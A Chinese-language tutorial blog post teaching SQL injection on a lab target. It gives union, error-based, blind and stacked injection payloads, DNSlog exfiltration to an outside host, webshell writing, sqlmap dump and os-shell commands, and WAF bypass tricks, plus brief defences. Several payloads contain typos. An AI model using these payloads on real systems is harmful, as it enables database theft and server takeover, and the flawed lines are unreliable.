网络安全入门:SQL注入从原理到实战
重要声明:本文所有操作均在靶场环境或授权情况下开展,未经授权入侵、扫描、攻击他人网络与系统,均违反《中华人民共和国网络安全法》,请严格遵守法律法规与道德规范,安全研究务必在合法合规范围内进行。
一、SQL注入是什么?
SQL注入是Web应用最常见、危害极大的安全漏洞。
核心原理:后端代码未对用户输入做严格过滤,攻击者在输入框、URL参数中插入恶意SQL语句,欺骗数据库执行未授权操作,实现偷数据、删库、改数据、拿服务器。
二、SQL注入的危害
- 敏感数据泄露:账号、密码、手机号、身份证、余额等
- 数据篡改:修改订单、积分、权限、密码
- 数据库破坏:删表、删库、清空数据
- 服务器接管:读写文件、写入木马、执行系统命令
- 内网横向渗透:以数据库为跳板入侵内网
三、前置知识:MySQL基础
1.关键系统库
information_schema:MySQL系统库,存储所有库、表、字段信息,注入必用。
TABLES:存所有表名
COLUMNS:存所有字段名
SCHEMATA:存所有库名
2.常用函数
database() //当前数据库名
version() //数据库版本
group_concat() //多行合并为一行
substr() //截取字符串
ASCII() //取字符ASCII码
sleep() //延时函数
updatexml()/extractvalue() //报错函数
四、SQL注入完整流程
- 找注入点:URL参数、表单、请求头、Cookie,例如:?id=1、登录账号输入框
- 判断注入类型:字符型:?id=1'页面报错,需要单/双引号比好原有SQL语句;数字型?id=1 and 1=2无数据。?id=1 and 1=1正常显示,无引号闭合。
- 判断数列:用 order by 数字,二分法猜查询字段数量,例如:?id=1' and 1=2 order by 3--+,返回正常说明字段≥3,报错说明字段为2.
- 查回显位:联合查询判断页面哪几个位置能展示数据,前提:前面查询无结果,加and 1=2,例如:?id=1' and 1=2 union select 1,2,3--+,页面出现2、3,代表2、3列是回显位。
- 查库名:利用系统库information_schema,在回显位查询当前数据库、所有数据库。例如:查询当前数据库,?id=1' and 1=2 union select 1,database(),3--+;列出全部数据库,?id=1' and 1=2 union select 1,schema_name,3 from information_schema.schemata--+。
- 查表名:指定目标库,查询目标库内所有数据表。例如:?id=1' and 1=2 union select 1,table_name,3 from information_schema.tables where tables_schema='目标库名'--+。
- 查字段名:指定库+表,查询表内所有列明。例如:?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='目标库名' and table_name='目标表名'--+。
- 拖数据:代入已知库、表、字段,查询存储的敏感数据。例如:?id=1' and 1=2 union select 1,username,password from 目标库.目标表--+。
五、基础注入类型详解
(一)万能密码注入(登录框注入)
适用场景:登录框未过滤单引号,拼接未作处理的SQL语句 。
正常SQL:
select * from user where username='admin' and password='123456'
注入后SQL:
select * from user where username='a' or '1'='1' and password='123456'
实战payload------->效果:绕过登录,直接进入后台。
- 账号:a' or '1'='1 或 a
- 密码:‘ or '1'='1 或 ' or '1'='1
(二)Union联合查询注入(最常用)
适用条件:页面有回显、可执行union、前后列数一致。
实战步骤(靶场bbs)
1.判断注入点
http://localhost/bbs/showmessage.php?id=1'------>页面报错,存在注入。
2.判断数列
?id=1 order by 4 --正常
?id=1 order by 5 --报错 ---->共4列
3.查回显位
?id=-1 union select 1,2,3,4 ---->页面显示2、3、4---->可在这些位置查数据
4.查当前库
?id=-1 union select 1,2,version(),database()
jrlt ---->库名
5.查表名
?id=-1 union select 1,2,3,group_concat(table_name) from infotmation_schema.tables where table_schema='jrlt'
users,messages ---->表名
6.查字段
?id-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users'
id,name,password,photo,money ---->字段
7.拖数据
?id-1 union select 1,2,3,concat(name,':',password) from user
lisi,122231 ---->获取想要的数据
(三)报错注入(无回显但有报错)
适用场景:页面不显示数据,但是会输出MySQL错误。
常用函数
- updatexml()
- extractvalue()
实战payload
1.查库名
?id=1 and updatexml(1,concat(0×5e,database(),0×5e),1)
2.查表名
?id=1 and updatexml(1,concat(0×5e,(select group_concat(table_name) from information_schema.tables where table_schema='jrlt',0×5e),1)
3.查数据
?id=1 and updatexml(1,concat(0×5e,(select name from users limit 0,1),0×5e),1)
(四)布尔盲注(无回显、无报错,仅页面真假不同)
核心:用and条件判断,页面正常=真,异常=假
实战步骤
1.判断库名长度
?id=1 and length(database())=4
2.猜库名
?id=1 and ascii(substr(database(),1,1))=106 ---->显示j
?id=1 and ascii(substr(database(),2,1))=114 ---->显示r
……
最终得到库名'jrlt'
3.猜表名、字段、数据(逻辑同上,逐字符爆破)
(五)延时盲注(完全无回显,靠响应时间判断)
核心:条件成立则sleep(5),页面延迟5秒=真。
实战payload
?id=1 and if(length(database())=4,sleep(5),1)
?id=1 and if(length(database())=106,sleep(5),1)
六、高阶注入(进阶必备)
1.二次注入
原理:先把恶意数据存入数据库,后端读取时触发注入。
案例:注册admin‘#,修改密码时SQL变为
update users set password='123456' where name='admin'#' ---->直接修改admin密码
2.堆叠注入
原理:用;分隔,一次执行多条SQL。
案例:
?id=1;insert into users(name,password) values('tese',md('test')); ---->可增删改查任意操作
3.DNSlog盲注
适用:无回显、无延时、无报错,用DNS外带数据。
?id=1 and load_file(concat('//',database(),'xxx.dnslog.cn/123'))
4.读写文件
条件:secure_file_priv为空、高权限。
- 读文件:load_file()
- 写木马:into outfile
七、SQLMap自动化注入(工具篇)
常用命令
1.检测注入点
sqlmap -u "http://xxx/showmessage.php?id=1"
2.查当前库
sqlmap -u "url" --current-db
3.查表
sqlmap -u "url" -D 库名 --tables
4.查字段
sqlmap -u "url" -D 库名 -T 表名 --columns
5.拖数据
sqlmap -u "url" -D 库名 -T 表名 -C name,password --dump
6.执行系统命令
sqlmap -u "url" --os-shell
八、WAF绕过(简单思路)
- 注释绕过:database/**/()
- 参数污染:?id=1/**&id=-1 union select...%23*/
- 编码绕过:URL编码、十六进制编码
- 分块传输:拆分关键字绕过规则匹配
九、SQL注入防御(开发必看)
- 预编译语句(PreparedStatement):最有效
- 严格过滤数据:过滤' " union select or and等
- 权限最小化:数据库账号不设置文件读写、不设置DROP权限
- 关键错误回显:不输出MySQL报错信息
- 使用WAF:部署防火墙拦截恶意请求
十、总结
SQL注入时网安入门必学漏洞,本文覆盖原理→基础→盲注→高阶→工具→防御全流程。所有操作请在靶场/授权环境下练习,守住法律底线。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐

所有评论(0)